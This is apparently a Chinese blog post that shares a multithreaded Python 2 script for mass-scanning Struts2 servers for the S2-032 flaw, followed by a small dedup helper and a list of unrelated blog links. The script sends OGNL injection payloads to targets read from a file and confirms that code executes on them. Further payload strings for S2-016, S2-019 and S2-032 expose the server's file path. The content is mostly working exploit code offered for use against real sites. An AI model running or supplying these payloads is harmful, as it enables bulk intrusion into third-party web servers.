s2-032批量脚本
看乌云上许多大牛上脚本,我也写个玩吧!写的比较简单。懒得优化,参数获取就自己改吧
需要抓很多struts,可用爱站工具包或则自己写个脚本爬
#coding:utf8
import urllib2
import re
import urlparse
import Queue
import threading
import mechanize
import cookielib queue = Queue.Queue()
mutex = threading.Lock() def find_title(url):
try:
br = mechanize.Browser()
br.set_cookiejar(cookielib.LWPCookieJar()) # Cookie jar
br.set_handle_equiv(True) # Browser Option
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
br.open(url)
t = br.title().decode('utf-8').encode('gb2312')
return t
except Exception,e:
return '' def s2_status():
global number
while True:
if queue.empty():
break url = queue.get()
data = "method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23matt%3D%23attr.get(%23parameters.command%5B0%5D)%2C%23matt.getWriter().println(3345*2356)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%2C1%3F%23xx%3A%23request.toString&command=com.opensymphony.xwork2.dispatcher.HttpServletResponse"
html,status = url_open(url,data)
if status == '' and re.search(r'',html):
mutex.acquire()
print url+" "+find_title(url)+" s2-032 "+str(number)
mutex.release()
number = number + 1 #else:
#print "no" def url_open(url,data):
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36"
#"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
#"Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3",
#"Accept-Encoding": "gzip, deflate",
#"If-Modified-Since": "Tue, 03 Dec 2010 08:25:11 GMT",
#"Cache-Control": "max-age=0"
}
try:
req = urllib2.Request(url,data,headers = headers)
html = urllib2.urlopen(req,timeout=3).read()
ret = ''
return html,ret
except urllib2.HTTPError, e:
return '',e.code
except:
return '','' #------------------------------------------------------------
if __name__ == "__main__":
global number
number = 1
with open('action.txt','r') as f:
url = f.readline()
while url:
queue.put(str(url))
url = f.readline()
print queue.qsize() threads = []
for i in range(500):
t = threading.Thread(target=s2_status)
t.start()
threads.append(t) for t in threads:
t.join() print 'All Done!'
简单去重,由于数量少,就没考虑溢出
import re
with open('1.txt','r') as f:
txt = f.read()
#print txt
url = re.findall(r'(http://.*?)\|',txt)
url = set(url)
for i in url:
with open('result.txt','a+') as f:
f.write(i.strip()+"\n")
效果图

16,19poc
data_32 = "method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23matt%3D%23attr.get(%23parameters.command%5B0%5D)%2C%23matt.getWriter().println(7880820)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%2C1%3F%23xx%3A%23request.toString&command=com.opensymphony.xwork2.dispatcher.HttpServletResponse"
data_16 = "redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(%22web%22),%23resp.getWriter().print(%22path7880820:%22),%23resp.getWriter().print(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23resp.getWriter().flush(),%23resp.getWriter().close()}"
data_19 = "debug=command&expression=%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(%22web%22),%23resp.getWriter().print(%22path7880820:%22),%23resp.getWriter().print(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23resp.getWriter().flush(),%23resp.getWriter().close()"
s2-032批量脚本的更多相关文章
- salt-ssh的批量脚本及使用方法
author: headsen chen date : 2018-08-02 20:06:06 1,salt-ssh的安装: yum -y install epel-release yum - ...
- ssh 信任关系无密码登陆,清除公钥,批量脚本
实验机器: 主机a:192.168.2.128 主机b:192.168.2.130 实验目标: 手动建立a到b的信任关系,实现在主机a通过 ssh 192.168.2.130不用输入密码远程登陆b主机 ...
- ant-jmeter批量脚本
<?xml version="1.0"?> <project name="autotest" default="all" ...
- IISPUT 批量脚本的编写
import requests import re import sys header = { "Accept":"text/javascript, applicatio ...
- PHP代码格式化批量脚本
@echo off echo please input phpCB url: set /p input= cd /d "E:\tools\phpCB\" phpCB --space ...
- thinkphp5.0.*命令执行批量脚本
import requests import Queue import threading import time user_agent = "Mozilla/5.0 (Windows NT ...
- php 批量脚本检测语法错误
shell 根据参数检测 当前php项目下 的语法错误 #!/bin/bash function getdir(){ for el in `ls $1` do dir_file=$1"/&q ...
- SQL Server中中数据行批量插入脚本的存储实现
看到博友SQL Server MVP桦仔的一篇博文“将表里的数据批量生成INSERT语句的存储过程的实现”.我仔细看来博文中的两个存储代码,自我感觉两个都不太满意,都是生成的单行模式的插入,数 ...
- cacti批量添加主机脚本
#!/bin/bash ##cacti批量脚本位置 device=/var/www/html/cacti/cli/add_device.php graphs=/var/www/html/cacti/c ...
随机推荐
- MAT
http://www.yrom.net/blog/2014/08/29/eclipse-mat/
- 10、C#基础整理(集合)
集合 1.集合的引用 using System.Collections;//添加类 2.定义集合(ArrayList 或 Array) ArrayList arr = new ArrayList(); ...
- iOS-MVC详解
MVC与模板概念的理解 MVC(Model View Controller)模型-视图-控制器 MVC本来是存在于Deskt op程序中的,M是指数据模型,V是指用户界面,C则是控制器.使用MVC 的 ...
- MySQL语句进行分组后的含有字段拼接方法
MySQL语句: SELECT GROUP_CONCAT(DISTINCT transaction_no) FROM `lm_wh_trans` GROUP BY staff_code; 如果tran ...
- 解决织梦标签artlist不能调用副栏目的问题?
本文转自:http://www.xinshou5.com/a/127.html 织梦列表页中不支持artlist这个标签,这样怎么调用副栏目? 想要在列表页调用副栏目,但是列表页不支持artlist这 ...
- MapBox TileMill
TileMill 学习网站: Walkthrough: Creating tiles with Mapnik using TileMill TileMill 快速入门 Cartography With ...
- Codeforces Round #297 (Div. 2)
A题 题目大意: 给你一个字符串,奇数的时候是钥匙,偶数的时候是门,一把钥匙只能开对应的门,然后问你最少额外需要多少把钥匙. 分析: 用的数组记录一下就行,(注意的是先开门,再拿钥匙!开始错在这里了, ...
- Vimium 快捷键记录
, <c-e> : Scroll down k, <c-y> : Scroll up h : Scroll left l : Scroll right gg : Scroll ...
- Sql优化(二) 快速计算Distinct Count
原创文章,始发自本人个人博客站点,转载请务必注明出自http://www.jasongj.com 个人博客上本文链接http://www.jasongj.com/2015/03/15/count_di ...
- HDU 5944 暴力
Fxx and string Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 131072/65536 K (Java/Others)T ...